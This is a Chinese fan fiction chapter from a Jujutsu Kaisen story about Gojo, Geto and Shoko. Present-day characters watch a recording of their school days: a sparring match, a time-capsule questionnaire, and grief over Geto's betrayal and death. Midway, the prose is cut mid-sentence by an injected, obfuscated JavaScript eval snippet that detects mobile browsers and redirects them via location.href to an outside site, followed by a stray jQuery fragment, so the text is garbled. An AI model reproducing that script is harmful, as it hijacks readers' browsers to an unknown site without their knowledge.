9. 予我呼唤
作品:《[五夏]命中劫》 【予我呼唤】
【镜头在摇晃,明亮的白光跳动着又重归于黑暗。】
“坏了吗?”虎杖悠仁琢磨道。
“不会就因为五条老师刚刚那一下威胁吧。”钉崎野蔷薇说。
疑似罪魁祸首的某人耸了耸肩,以示无辜。
【它开始运转了。
对准了近处的黑发少年,他一开始没有发觉相机的存在,嘴里咕哝着。在这间二零零几年有着年代气息的教室里,他俯身在唯有的三张桌椅中翻找东西。深色的制服勾勒出少年劲瘦的腰身,抓起来的丸子头随着他的动作晃动,额前一缕刘海垂了下来,轻轻晃过耳边折射出紫色光亮的耳钉。
阳光下有浮尘在空中飘旋,温暖的光线轻柔地从窗外垂落下来,他随手抖落了其中一个抽屉,雪白的废纸从中纷飞地飘落下来。
少年不经意一抬眼,与镜头对上,鸦黑的睫羽中下意识地泄露出一丝笑意。
神情带上了无奈,语气轻快而亲昵。
“别闹了,”他唤了声。
“悟。”】
他年轻得与他们那印象中的极恶诅咒师大为不同,在当下猜想自己十年后的样子就已经足够难了,更遑论如拼图般去复原他人十年前的模样。但黑发少年在阳光下笑起来的那一刻,将时间往前推,倒回了那个属于前一辈的时代,如一幅经年不变的画将过去暂停在此时。
“长得倒是挺帅的。”钉崎野蔷薇不是第一次才有这种认知,只是在知晓极恶诅咒师犯下的罪行后,这句话在那时说出口的话怎么听都觉得别扭。而这时那镜头下的人所展露出来的,是纯然的明亮与无害,还未曾沾染上一点罪孽。
“只是拿着镜头的人是五条老师?”胖达的语气有点古怪。
镜头下的人看起来是由纯粹的青春而晕染出的色调,就像这个人的存在于那拍摄者的心中就是这般模样,永远鲜活,永远年轻。
所以当那声呼唤出来的时候,他们惊讶于那镜头背后的人会是【五条悟】,他记忆中年轻的夏油杰就是这般模样吗?而且东京高专的人大多对这两人关系好的认知停留在浅层次上,但仅是如此短的一个画面,甚至连另一个当事人都还没完整地出现在银幕上,一个眼神,就足以使旁人看出夏油杰对【五条悟】恶作剧般玩闹的态度熟稔而纵容,这样的人对于最强咒术师而言倒也是难得。
家入硝子下意识地往镜子那端看,只见白发咒术师的嘴角紧绷,侧脸看上去近乎冷硬。但是仔细一看,却能轻易地发现那片苍蓝色如融化的冰,所有的伪装尽露端倪。有那么一刻,她甚至有种错觉——他会落下一滴泪。但是他没有。
那一声熟悉的呼唤,是最强咒术师刻入灵魂都不会辨认错的。【五条悟】抬眼看着那镜头下的人,六眼中闪过的不止是那短暂的三年,还是苦夏隐没的蝉鸣,是冬日消融的雪花,是断头蜻蜓的振翅。他记忆中闪过的一分钟,却足够概括他们两人间的一生了。
他突然间觉得眼睛很酸涩——只为这个熟悉的笑。
【“看镜头啦。”五条悟毫不在意地一笑,年轻的白发咒术师捧着相机,制服的上身设计与另一人一模一样。他将中心对准视野里的那一人,而墨镜背后的苍天之瞳里仿佛也只容得下眼前这一人。
夏油杰见他玩得兴起,索性用自己的背影拒绝配合,继续在一片狼藉中翻找自己想找的东西。抽屉里的东西基本上都是五条悟和夏油杰两人随手混着放的,白花花的试卷、没动一字的检讨稿还有乱七八糟的一堆挤着,谁也分不清是谁的。以至于他找了几分钟也没有什么痕迹。
而身后那人被他这样的态度有点挑起了性子,不满地说道:“隆重介绍一下,这可是最新款的,镜头超——清晰。”他的语气就像是拿到一个新玩具分享给自己最好朋友般的炫耀,没有刻意的成分,是纯粹的喜悦。
五条悟将镜头凑近,镜头前的人挥挥手示意让他走远一点,白发咒术师则歪着头故意问道,“你是在害羞吗?”他们一向知道该用什么话来引起对方的注意力,只是后者此刻的重心仍然专注于手下的动作,对此无所谓地点点头。
于是五条悟的语气放软,用他惯常用的伎俩,将腔调拉长。他知道,这样的话对方向来会先妥协。一如之前的无数次。
“看我一眼嘛,杰。”】
“嘶,这绝对是在撒娇吧。”钉崎野蔷薇露出了一言难尽的表情,其他人也或多或少面色古怪,在场很少有人知晓还在高专当学生的五条悟是哪般模样,但即使是过来人也绝对无法想象出是如此的黏糊糊。不是故意伪装出来让人心里不适,而是在特定的人面前,很自然、很熟练地利用自己这一面来投机取巧,并且乐在其中的样子。
虎杖悠仁忍不住感叹了句,“关系真的很好啊。”
他们这些旁观者的身形比起之前都放松了点。没有深刨他人的内心,没有提及他人的苦痛。对于尚且年轻的少年而言,一切都才刚刚开始。
而五条悟忍不住咂了咂舌,自己这副满心满眼都是夏油杰样子真挺蠢的。但是,他笑得很开心。
既不是五条家少主那会冷冰冰的面无表情,也不是当了高专教师的那位轻飘飘的笑容,而是发自真心的笑。五条悟从未这样笑过。以至于那个同位体在这一刻看来,好像是与自己毫无关联的一个陌生人。他的眼中是另一个世界,他眼里的人就是一个世界。
这种陌生的视角让五条悟难以适从。更何况,他瞧着另一人唤自己名字时下意识露出的笑容,那人仿佛坦诚得毫不设防。心里的某一处被隐隐触动,却很难以说清是哪种情绪。
【于是夏油杰无可奈何地止住动作,转过身来看向五条悟。他并不在意镜头,今日的主角并不是他。就只是对方的一声呼唤,他就可以将其他所有的事放在一旁,不是约定,不是承诺,只是习惯。就像之前五条悟也曾举着翻盖手机咔嚓咔嚓一顿拍,而照片里永远会是两个人并肩。
“悟。”他静静地等待着五条悟的下文,目光坦然而落在实处,哪怕等到的是抱怨,是无厘头的要求,他都会一一作出回应。
白发咒术师从镜头可以更近距离地望向这人,镜头下的这一刻让他停顿了下,年轻的六眼神子在触及这份真心时,却突然生出一点畏缩。镜头可以使人永久地暂停在这一刻吗,一声呼唤可以永久地留住一个人吗——长久不变的会是你吗?
这个不符合五条悟向来风格的念头仅在他脑子里转了一圈,下一秒就被他抛之脑后。他没有多想,于是五条悟能轻易地扬起一个无辜的笑容,“我想拍杰的怪刘海。”
话语才落下,夏油杰就作出了回应。他嘴角的笑意加深,看起来没有被这句话冒犯到,但收服的咒灵却在他身后猛然将空间撕裂开来,探出了好几个狰狞的脑袋,而他本人的语气依旧很温和的样子,“要来打一架吗?今天夜蛾正好不在。”夜蛾正道出差去了,而其他少数在校师生不是懒得管就是拦不住,大多都是睁一只眼闭一只眼,早就已经见惯不惯了。让他们的班主任头疼去。
“谁怕谁啊,我正好也手痒。”五条悟笑得嚣张至极,却也称得上是意气风发。】
“如果与五条老师并肩的是这样的他,就好像没有那么难以接受了。”说这话的是虎杖悠仁。一个习惯性的细动作足够说明很多,他的长久相伴,他的真情实感。而且当事人对此更是接受得理所当然。
五条悟在这句话的间隙中闭上眼来,在平稳的呼吸中回忆起自己的过去,在年轻的记忆中他无法找到这个镜头下的身影。从未呼唤过,亦从未有过回应。期望落空是什么样的感受?这个迟到了十年的答案在这时才显露出真面目。无论是他还是另一个自己,在离开京都本家、踏上东京高专这条路时,他们都会毫不留情地抛下那些跟随了十多年的繁琐礼节。外界的新事物五花缭乱应接不暇,但也没有五条悟那么以为的有趣,短暂的新奇过后就是长久的索然无味。而乱逛了一圈后他第一次坐于两人间的教室时,老师早就发完言离开了,另一个同期也不在。
与你并肩的朋友。他在这一刻想起二长老曾说过的话,当时的六眼神子只当放屁,而这时与另一个空荡荡的桌子相对,他知道不在场的这个人是谁,但也只在此刻存在过一秒的期望,之后的十年都是无所谓。直到现在。
他突然觉得那前半段过去的人生好像缺失了一大半,它并不完整。
“年轻人的通病。”夜蛾正道在知晓年轻的白发咒术师脑子里的这个想法时,言辞犀利地评价了句。年轻人向来不愿在沉重的话题上停留,他们往往是用玩闹的笑语掩盖过去。却不知很多时候,事情总会往最糟糕的方向发展。
【没有人能比五条悟还要熟悉夏油杰的弱点,他的挚友。至少在体术这一方面他敢肯定,反之亦然。还在成长起来的两人尚不能做到真正的毫无缺处——哪怕是最强也不能。是人就会有弱点。而往往是越熟悉的人就越清楚对方的漏洞在哪。
骤然刮起的狂风之中,两个身影纠缠得分不清彼此,每个动作都是下了死手的狠劲,打得难舍难分。五条悟握拳在空隙中直接攻上夏油杰的胸口处时,没有一丝犹豫。而后者在千钧一发的时刻避让开来,让他落了个空。五条悟并不意外,反而更加被激出了好战的因子。曾有不明事理的人在一旁观看时,以为他们之间有着莫大的血海深仇,怀有深切的恨意想去杀死对方。
但从来不是恨。而是熟悉,这是在成百上千次的互相切磋中得来的。正因如此,五条悟打心底知晓自己无法真正伤害到夏油杰,反之亦然。轮到他们这种关系,倘若真的有一天——某一方的死亡将临时,剩下一个人也该是心知肚明的。
躲过夏油杰的回击,拳风随着对方的动作被吹起,于混乱之中拂起黑色的发丝,五条悟撞进了明暗交错的深紫色虹膜里,有光擦过他的眼角,抬起眼时那无形的重量落进了白发少年的心中。他的动作停了一秒,而就是在这一刻,对方抓住了时机,反手把他摔进之前就被砸出来的深坑里。
操场上一片混乱,被牵连的建筑残墟无人搭理地堆在四周,黑发咒术师盘腿坐在废墟之上,神情还残留着肾上腺素狂飙后的余兴,他撑着头往下看,“我赢了哦,悟。”
夏油杰的语气带有胜利后的得意之情,但不失亲昵。
“你怎么突然分心了?”他问道。】
“怎么感觉他们之间有杀父之仇一样?”这两人的体术自然没话说,就现在而言,无论是一年级还是二年级的水平都比不上。他们两人交战激烈得不分上下,只拼体术打起来都好像是地动山摇了一般,旁观者只觉得除非某一方把人弄死才会肯罢休,看得一些学生们不自觉地担忧起来。
只是接下来就告诉他们无疑是想多了,禅院真希的鸡皮疙瘩都起来了,“怎么感觉怪恶心人的。”钉崎野蔷薇赞同地点了点头,她用一种浮夸的口吻反问道,“这就是挚友吗?”也没见其他友人间是这么形容的,谈及一条性命如此的轻而易举,笃定彼此间必不会错付。这是切实的熟悉与信任。
七海建人却隐隐地从中感知到某种不详的隐言——死亡。
“居然真有人能赢过五条悟。”看到后面胖达惊呼出声,周围人也差不多是这副见了鬼的模样。夜蛾正道虽然能猜测到夏油杰的实力只在五条悟之下,但在如此年轻的时候就显露出这般惊人的锋芒,那就太少见了,更别提只靠体术就能堪堪胜过当时的六眼神子。
【五条悟撑起身来,随手拍了拍衣服上沾染的灰,酸痛感从肌肉里传来。他对于这个问题没有第一时间就给出答案,或许连他自己都不太能清楚原因。白发咒术师抬头看向坐在上头的那人,他笑起来的时候更为明亮。那些说不清的心思也不知缘由地被五条悟隐藏起来,他随便找了个借口,闷闷地回复道。
“刚刚风刮过的时候,我一个没注意,好像有沙子进了我眼睛里。”】
“这个回答真的有人会信吗?”钉崎野蔷薇忍不住吐槽道。先不提借口如此敷衍,而且说这话的是【五条悟】,难道还需要找人给你吹气吗?
【有人信了。听到这个回复,夏油杰微微皱起眉来,他跳了下来,稳稳地落在这个坑里。对于友人摘下他的墨镜,五条悟丝毫没有排斥的心理,只是在冰凉的触觉从眼部传来的时候,他的心跳漏了一拍——杰离他太近了。五条悟甚至可以从那隐含担忧的眼眸中看见自己的倒影,仿佛只容得下他一人的珍重。
夏油杰轻轻地吹气,温热的呼吸如羽毛般拂过眼角,他安抚道,“现在好点了吗?”
说话间他们的距离稍稍拉远了点,酸涩的情绪在此刻如泡沫般溢满他的喉咙。在这个蝉鸣的夏天,五条悟后知后觉地发觉这个季节独有的热意,滚烫进了他的心口。六眼神子太过不知世,只能一昧地掩盖那跳动异常的心脏,他表面上依旧如常,用最常用的玩闹翻过这篇,“杰是笨蛋吗?”
没有等夏油杰反应过来,五条悟就趁其毫无防备地给他来了个过肩摔,他没有用多大力气,后者撑着坑里的碎石,有点费力地抬起上身时,难得骂了句脏话。白发少年笑嘻嘻的,模仿这名好学生平日的语气,只是把称呼替换了下,“杰,说脏话是不礼貌的。”
对此夏油杰冷笑了一声,只当把刚才的好心喂了狗,在五条悟得意之时,拉住对方的腿往下扯,双方又开始扭打起来,只不过这次纯属是没有任何技巧可言,简单粗暴到直接上手扯头发。】
“那可是最强诶。”看见有人真信了,胖达沉默了下才开口说,但也只是这一句就止了声。钉崎野蔷薇说,“这让我开始怀疑他的心是怎么做的了。”虽是用的调笑的口吻,但他们都有点意识到为什么【五条悟】会把人家当作挚友了。在大多人认为最强无往不胜、无坚不摧的时候,他总是特殊的那个。
“他们是幼稚园没有毕业吗?”看到原本一场好好的体术最后逐渐演变成那副模样,禅院真希诚恳地发问。胖达评价道:“双方都被吃得死死的。”
现在在场目光有意无意都转移到五条悟身上来了,最强咒术师并不在意其他人是个什么看法。在夏油杰面前,他是一个会输会受伤会流血的人,由此而生的种种情绪也总有人会安抚他。但五条悟则不是,他没有过多的情绪,也没有人会安抚他。
此刻他太疑惑了,对于夏油杰这个人——如果,如果他的世界也有这个人的存在,是不是一切都会不一样。
【他们用蛮力扭打着,等到过剩的精力被耗尽,双方都衣衫不整地躺在一片狼藉的地面上。夏日的阳光在此刻甚至让人有点昏昏欲睡,五条悟率先打了个哈欠,然后就是如传染一般,倚靠着他肩膀的黑发挚友也慢吞吞地打了个哈欠,一切都很安详的样子。“好像忘了什么……”他语气含糊地说道。
“什么?”五条悟开口问道。
“我们原本要干什么来着?”夏油杰半阖的眼又睁开了,侧过头与五条悟面面相觑。在同一时间问了彼此同一个问题。
“相机呢?!”
在夏油杰刚要有动作的时候,视野里出现了漆黑的一点,从摄像头后面探出一个眼角下有泪痣的少女,她挑了挑眉,“哟,你们终于想起来了。”然后见惯不惯似地补充了句,“两名五岁小朋友终于扯完头发了哈。”
“硝子。”夏油杰无奈地喊出她的名字,后者只是摆摆手,“嗨呀嗨呀,刚刚你们打得太忘乎所以了。”她举起镜头,指了指细微的划痕,“但没什么大事,质量合格。”
五条悟在下方喊着,“那当然,也不看看是谁选的。”对此女同期嗤之以鼻,依这大少爷的性子,他肯定就是随便挑着个最贵的买了。
“总之,”家入硝子把镜头对准了还在下面坑里的两人,忽视他们的大声拒绝,“至少不是现在,”他们急匆匆地打理起现下狼狈的模样。“来来来,让我来介绍一下今日的主角——最强二人组的笨蛋一号君五条。”然后将镜头移到白发咒术师身侧的那人,“还有旁边那个黑发眯眯眼的是笨蛋二号君夏油。”
“你说谁是笨蛋呢!”两人齐齐地喊道。
“谁应谁就是喽。”少女随意地耸了耸肩,眉间带着笑意。】
年轻的女医师全然放松,姿态轻松地和同期玩笑着——这也是他们都没有见过的模样,哪怕是家入硝子她自己也未曾见过自己何时露出这般的笑容。这时另一个自己的青春从这个笑就可以从中窥见其的一角,那属于【家入硝子】,属于【五条悟】,唯独不是她,他们。
家入硝子比谁都要清楚这一点。夏日的欢声笑语是另一个世界的倒影,他们只是侥幸于此瞥见了因一人而生的不同,一道界限分明的隔阂阻挡在两个世界之中,对面是经历者,而他们是旁观者。
这一轮观影到现在看起来没有什么不对的地方,但真要评论的话,轻松这种氛围和之前的观影感受都扯不上太大关系,而当下学生们时不时发出善意的笑声,如果不去多想之后会怎样的话,好像一切都还很好。
女医师见到自己出现在银幕上捧着相机的时候,慢了半拍才回忆起这段记忆,意识到了接下来即将会重现的那些本该浸在过往中的碎片是什么。
她喃喃自语道:“这可真是伤人伤己。”
【眼见五条悟还要与家入硝子争论一番,夏油杰先站了出来,“别闹了,我们还有正事要做。”听到这话,女同期爽快地做了个闭嘴的手势,只是嘴角的笑容暴露了幸灾乐祸的意味。白发咒术师反而不爽地撇了撇嘴,却也没有多说什么。
“但是,”夏油杰不好意思地说,“那张纸不知道被我塞到哪里去了。”他忘记当初下意识放在了自己的抽屉里还是五条悟那了。这种事实在是太常发生了,无论是宿舍还是校服,都毫无边界地共用彼此的所有。
“在这。”家入硝子把藏在背后的东西扬了扬,“刚刚你们砸了半个教室,我路过就正好捡到了。正好,课也不用上了。”
两人这才意识到周围有点严重的战损,他们沉默了一瞬,然后是夏油杰先开口,“下个星期夜蛾好像才会回来。”五条悟瞬间上道,“等下让五条家的人来就好了。”这操作不是他们第一次干了,只要在夜蛾正道回高专前把一切都恢复成原样,就看不出这里发生过什么。
家入硝子把东西递了过去,“喏,总之愿赌服输哦,五条。”
旁边的夏油杰虽然抿着嘴,但眉眼弯起,“悟不会是不好意思了吧。”
“哈?怎么可能。”白发咒术师大叫着反驳了句。】
“他们这是要做什么?”学生们着实没弄懂眼前这一出,还有那张纸也神神秘秘的,从他们的角度看不清上面写了什么,好奇心弄得他们抓痒挠腮。
作为东京高专校长的夜蛾正道少有地心梗了下,同时也为另一个世界的自己而头疼,玩闹是真吵闹,破坏力也是真的强悍,三个人聚在一起根本不懂遵规守纪这几个字怎么写。但是,三个人整整齐齐,热闹点也没什么不好。而现在的另一个自己估计也会是这种想法。
【“咳咳,”镜头闪了下,入目便是五条悟放大的脸,只有他一个人。那苍天之瞳在这一刻是惊心动魄的瑰丽,非人一般纯粹的蓝色,有一种直击灵魂的窥视感。但只是一秒,白发咒术师推了下鼻梁间的墨镜,眼底罕见地浮现出疑惑和不知所措。
他清了清嗓子,拿起那张纸看了眼,颇有些正式地自我介绍,“姓名五条悟,性别男。”
“年龄是十七——”才开口两句,他就皱起了眉头,“这些答案不都显而易见吗?这都什么蠢问题。”虽然话里话外都是不屑与嫌弃,但五条悟还是继续顺着问题看了下去。
他想起黑发挚友说过的话,类似于时光胶囊的存在,十年后的他们再一起看十年前的五条悟、也就是现在的五条悟。一个和杰一样蠢的想法。“绝对是想看我出糗吧。”他咕哝了句,心中却有一块柔软的地方被触动——十年后,他们还在一起。这样一想的话,倒也还不错,五条悟把这个念头划分到了理所当然的认知里,就和夏油杰是五条悟的挚友这个认知一般理所当然。】
十年。他们又一次抓住了这个熟悉的时间间隔,十年能够改变很多,让银幕上笑得意气风发的三个年轻人成为如今他们所看见的模样。不能说全然陌生,只能说有些年轻的东西不知何时已经变得面目全非。十年后的他们还在一起吗,十年后的三个人依旧如初地欢笑玩闹吗?
隔壁只有两个人的存在,就已经告诉了另一个世界的人答案。
只有那三个年轻人还无法想到那么长远、以及足够周到,他们浑然不知,不知接下来等待他们的命运有多险恶,不知他们在失去一个人后继续向前走的路有多艰难。
在这提及未来的几秒里,旁观者都沉默不语。
【画面一转,却是在树下避暑的夏油杰与家入硝子,刺眼的阳光透过树叶缝隙形成斑驳的光影。“你倒是不怕他反悔,又或者故意糊弄过去。”她随手翻了下衣兜找出根烟来,却发现又忘带了打火机。有一簇火苗咔嚓一声燃起,抬眼间是黑发的同期极为自然地递了个火。
而家入硝子也不忸怩,火苗点燃起烟卷,她深深地吸了口,透过烟雾看着不远处倒塌的废墟。“怕什么?”只听黑发少年的嗓音含着笑,她有点不明白夏油杰在这事上笃定五条悟的自信。在他们这个年龄阶段的人都有点爱面子,没人愿意将真心坦诚。像是知晓她在想什么,夏油杰侧过头来看她,“难道硝子没有想过未来、十年后会是怎么样的吗?”
家入硝子挑了挑眉,“就那样呗,待在高专作个被压榨劳动力的校医。”
夏油杰听了,轻轻地点点头,开口转而提起的是另一件事,“最开始我们的本意确实是借这个机会让悟出一次丑。”他停顿了下,家入硝子接着问下去,“然后呢?”
他眯起眼迎着阳光,谈论起这个话题时想起本次的主人公,所有与这个人相关联的记忆在这一刻浮现,逐渐构成了当下夏油杰所熟知的五条悟,不是六眼神子,不是五条家少主。
“但是后来我想了下,悟还是有点不同的。他不关心前路也不回望后路,我总觉得这行不通。”
家入硝子轻嘲了下,却不是反驳,“太自大了吧,夏油。”就这样如此轻易地评判一个人又为他摆好了选择。对方笑了下,却不见一丝悔改,“也许。”
“我只希望在他还有很多东西不明白的时候,仍旧能有所寄托。”
女同期听了这话,清楚他的言后之意,哼笑了声,“真是犯规。”
夏油杰摊了下手,“毕竟是我赢了嘛。”
而赢了的人总归是有特权的。】
“你没有跟我谈起过这场对话。”白发咒术师等着一个解释,即使他清楚很多过去的事早就没有谈论的必要了,但是如果是有夏油杰介入的话,那就另当别论。更何况他始终记得这个录像的事,虽然他们都没有再谈起过。它算是无意间留下的一个念想,烙上了属于故人的印迹,但直至现在,【五条悟】才知晓那背后真正的含义又象征着什么。
女医师默然,她没有想到影片会放出这段过去。他们三个人的青春中有足够多值得纪念的欢笑,但唯独不该是她连回想都不愿想起的这段记忆,那太过残忍了,无论对谁都是。它在回忆中变得完美无缺,又在现实面前被摔得粉碎,碎片足够割入最强咒术师的心脏,她也一样。
“十年早已过去了,而我们当中没有一个人再一次翻开这段录像。”女医师转而提起来这个话题。
白发咒术师抬起眼来,他想起已经算是老物件的相机被堆在一个落灰多年的房间角落里,所有人都当作它不存在,视而不见。“少了一个人,因为少了一个人。”他将这句话重复了一遍,却将每一个字念得很轻,神情间再也不见当年那副年轻意气的影子。
“是的,这就是原因所在。”她停顿了一下。
“五条,”女同期回望的眼神也挑明了那道最深的伤疤,她在回忆中重新审视了这段过去,开口说出来的语调却宛若玩笑般。
“我怕你会流泪。”她这样念道。
最强咒术师好像从中领会到了其中的含义,他动了动嘴唇,最后什么都没有说出来,反而紧紧地抿起了嘴,不再发一言。而那抹苍蓝色里似有新雪在融化。
“他希望在你还有很多东西不明白的时候,仍旧能有所寄托。”女医师近乎叹息地说,“现在也如此。”
“我不能理解他们究竟在打什么哑谜,从开始到现在一直这样。”钉崎野蔷薇有些崩溃地喊道,虎杖悠仁的眉头也微微蹙起,其他人原本轻松些的心情又被未知的害怕给淹没。而另一个世界的两个人却早已知晓了结局,悬而未落的判决轮到了旁观者的头上。本不该如此的。有夏油杰存在的那个世界与他们又有什么关系呢。
可是,在夏日下意气风发笑着的那个黑发少年,那个为友人想好前路的咒术师,他也曾经真实地存在过,直至现在都给见过他的人留下不可磨灭的印象。而也有人仍旧在想着他,无论过去与未来。
他们见不得好人成为坏人,美好的东西被摔得粉碎,他背弃一切必须要做的究竟是什么?
“最强也会流泪吗?”听到这话的七海建人摇了摇头,没有再想,多数人也只当是笑话。
五条悟倒是好奇有一点,“记录下来又有什么用呢?”人的记忆迟早会在时间的洪流中生锈,哪怕借外力保存下来,当初的情感或许早就改变了。“物是人非,你们是这么形容的吧。”他也用玩笑般却字字透着冷漠的语气说道。
其他人应该比从未有过寄托、其他什么也好的最强更深有所感。而家入硝子却是嗤笑了一声,认为自己不会做的事,就笃定同位体也应该是这般。可惜的是,他这位同位体早已“劣迹斑斑”。她近乎有些怜悯地看向他,“太自大了吧,五条。”
“倘若要我来谈论的话,十年后、二十年后,”她的神情缓缓地柔和下来,“甚至当我们老了,一起回看这段过去。”家入硝子的语调也逐渐放慢。“然后你会无可避免地想起他,他在那时所说的话,他所希望的那一切。”
“他便又一次赢了。”
就如同夏油杰所说的话,仍旧有所寄托。她年轻的同位体是清楚这一点的,但无论是如今的家入硝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299972|167130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子、哑口无言的五条悟,还是现在或许才发觉挚友用心的最强,前两位怎么算都是晚了,他们的世界没有那人的存在。而最后一位,在某种意义上来说,正如他希望的那般,有一份不可言说的寄托,有一段始终放不下的过去。
五条悟注视着那三个人的面容,熟悉又陌生,他们是那样的快乐。另一个自己笑得见牙不见眼,始终有另一人与他并肩。听到家入硝子的话,他不可避免地想象出三个人在很久之后,一起挤在沙发上,不需要很大很宽,只要能塞下三个成年人就够了。他们会打开录像,自己会有点不太情愿,而旁边的人在起哄,不会是输不起吧,不会是不好意思吧。他们会笑,善意而亲昵地笑,录像中的过去与当下构成一个完整的闭合。从过去到当下,那份寄托会永远存在。
五条悟没有反驳。当他意识到自己在想象什么的时候,他就知道,自己也算是输给了夏油杰。
【白发少年不太自然地蹲在相机前,只有他一人。如果夏油杰、家入硝子也在旁边,他绝不会这样,用自然来形容都算谦虚。他没过于自然地把镜头砸了都算好的,不远处坍塌的建筑物就是证据。
他皱着眉头,嘴角往下撇,目光难得严肃地研究上面的问题。越看神情就越仿佛是误食了芥末味的蛋糕那般。直到看完最后一个问题,五条悟也还是弄不清状况。他近乎抓耳挠腮地思考这些问题,他以为等待着自己的会是一些令人发笑的问题。但是,并不是如此。
五条悟透过这些字眼,仿佛能看见黑发挚友写下每个字的模样,却无法理解他抱着什么的心态决定给自己出这样的问题。他应当知道的,他应当抱着同样的心态去回答这些问题,杰是想让自己看到这样的问题想到什么呢?又明白什么呢?他希望自己怎么做?
他仔细地思索起,自打赌输了后,杰的一言一行,露出的每一个表情,说话时的语气,五条悟没有从中察觉到任何迹象。甚至刚刚他与自己打闹时也没有任何不对的地方。他无法找到答案——这些问题从头到尾都无关正论,无关咒术师与非咒术师。只是在问五条悟,问他本身。
杰想要什么样的答案呢?绝不是玩笑。五条悟想起他将这张写下问题的纸递给自己后,又说了一句话,“要发自真心地回答哦,悟。”他就那样全然信任地看着自己。
五条悟的脑子被一串联想起的信息糊得有点发晕,他尽量使自己平静下来,于是那句话再一次回响在他的耳边。发自真心,他想到。好吧,白发少年挠了挠头,将目光重新落回这些问题上。
“喜欢的颜色,紫色吧。”
“喜欢的人,这还用说吗?”
“喜欢的食物,喜久福、可丽饼、章鱼烧……有好多,但不想一个人去吃。”
“对于入学东京高专的最大想法?认识到了一些有意思的人,比如夜蛾,硝子,歌姬,七海,灰原。当然,最有意思的还是杰,刘海也太怪了吧。”
当真正回答这些问题时,五条悟才发现并不难以开口,反而身体比大脑都要快一步给出答案。
“最想做的事?在冬天吃冰淇淋,夏天去看海。”他继续说着,“哦,是要和杰一起去。也可以再多叫上一些人,但杰是必须的。”
“还想和杰一起去甜品店,不过杰不怎么喜欢吃甜的,我也可以陪杰去吃凉面啦。和杰一起打游戏,看电影也不错。只要杰在的话,好像都不错。”
“对未来十年后的打算?那个时候夜蛾已经当校长好久了吧,硝子会留在高专当校医。杰的话,依照他的性格,应该会也留在这里当一名老师吧。那我也干脆留在高专好了!具体做什么还没想法,或许老师也可以?反正杰在这,他们都在这。”
他停了下,眨了眨眼睛,自顾自地问了句,“杰出现的频率是不是有点高了?”
但是五条悟没有多想下去,他的视线落在了最后一个问题。他这次思考的时间有点长了,“最想问十年后自己的一个问题?”
“这有什么好问的吗?我有什么好问的吗?”他迷茫地说。
最后他一握拳拍掌,“那就问杰吧。”
“没什么区别。”】
听了年轻的六眼神子一连串下来的回答,谁也不知道该如何评价。他们没有想到会这样,现实如此的弄人。对于【五条悟】来说,是由夏油杰撑起了他的整个青春,那个人与这段过去密不可分、纠缠不休,他有那么多想和夏油杰做或者已经做过的事,这些占据了他最明亮的人生里的大半色彩。
他的话发自真心,坦诚而直白的真情流露。可是,可是。
在场所有人都知道有一个人的离开,他的背叛,他的抛弃。他未来的选择会在最强咒术师最柔软、最不设防的心脏处开出一个大洞,硬生生地割去早已成为血肉中的一部分。
没人作声,没人愿意打碎那些美好的东西。
【“真不知道你看上了他什么?”女同期指尖夹着烟,语气颇有些无奈。当事人不知道想到了什么,轻笑出声,“悟还是很可爱的吧。”
听到这话,家入硝子翻了个白眼,“我知道东京市区有家医院眼科还不错,建议你去看看。”夏油杰摇了摇头,“我说真的。”
“他可是六眼。”她的回答有些嫌弃之意夹杂在里头,但有更深的东西埋藏在这短短的一句话的背后。黑发少年为难地眨了下眼,不是被这句话说动,而是在认真地思考措辞。
“悟也是人。他会笑会生气会委屈,会流血,也会流泪。”夏油杰侧过头来,直视着家入硝子,言语之间全是坦诚。
“哈——我倒是没见过他会流泪。”她被烟呛了一口,干巴巴地接下这个话题。
“我也没有见过。不过,我倒是希望他永远都不会流泪。”
夏油杰想了想说,“有时候流泪比流血还要痛苦一百倍。”
“你也一样。”他对家入硝子这样说道。
少女忍不住先转过头去,避开那道近乎算是温柔的目光,她看见夏日的太阳,听见蝉鸣的喧嚣,竟也觉得这倒也不坏——夏油,五条,她,三个人。家入硝子想,算是便宜了五条悟了。流血的话,她可以帮忙治;流泪的话,有夏油杰的存在,根本就没有必要。
某种意义上,他无疑是这个世界的最强了。】
但世界上有一种定律非常不讲道理,越是以为不可能反而越一定会发生。
【“最想问的是——”
十七岁的五条悟会生气会委屈,但他仍能笑得见牙不见眼,仗着年轻,仗着身边有一人的存在。他笃定地认为问杰就足以知晓自己之后的所有快乐与烦恼,快乐很多,烦恼因有另一个人在却也无足轻重。
他问,“十年后的杰,你还好吗?”】
“当我谈及他时,我在谈论什么?”
年轻的白发咒术师那时不懂失去,将所有的期许满心欢喜地倾倒出来,理所当然地认为事事都会如他所愿。而放在当下来听,【五条悟】只觉得那是一个久远而遥不可及的梦。有人曾在夏日笃定陪伴永远,有人曾在夏日决然转身离去。
三年青春如泡沫般沉没在回忆中,还有人记得录像中的那份寄托吗?十年之期到时,因三个人之中有一人缺席,最强咒术师与女医师只当作那段记忆不存在。
直至现在,所有的真心被摆在明面上。他的、杰的。【五条悟】在很久之后知晓挚友的这份用心,而另一人却永远不再会知道他的寄托何在。
一年前的最强亲手杀死了他此生唯一的挚爱,而将时间再往那时的【五条悟】身上倒推个十年,十年前的夏日他问。
——十年后的杰,你还好吗?
何其天真而又伤人。那时谁都无辜、谁都没有预料到之后的种种。
白发咒术师听那年轻的黑发挚友说。
我倒是希望他永远都不会流泪。
有时候流泪比流血还要痛苦一百倍。
“可是当下最让我痛苦的人也是你,杰。”他自顾自地说道。
女医师听了,用无足轻重的语气问了句,“你恨他吗?”
最强咒术师侧过头来,看向另一个同期,“最开始是这样的,我恨不得杀了他,以为只要这样就可以让那般的痛苦彻底消失。”他接着说下去,“但真正的答案却并不是如此。只要想到如果这真的成为现实,我反而会更痛苦得难以忍受。”
“在长达十年的时间里,我反而发现,恨只是在逃避。”
女医师眼睫微颤,最后只说,“这样啊。”
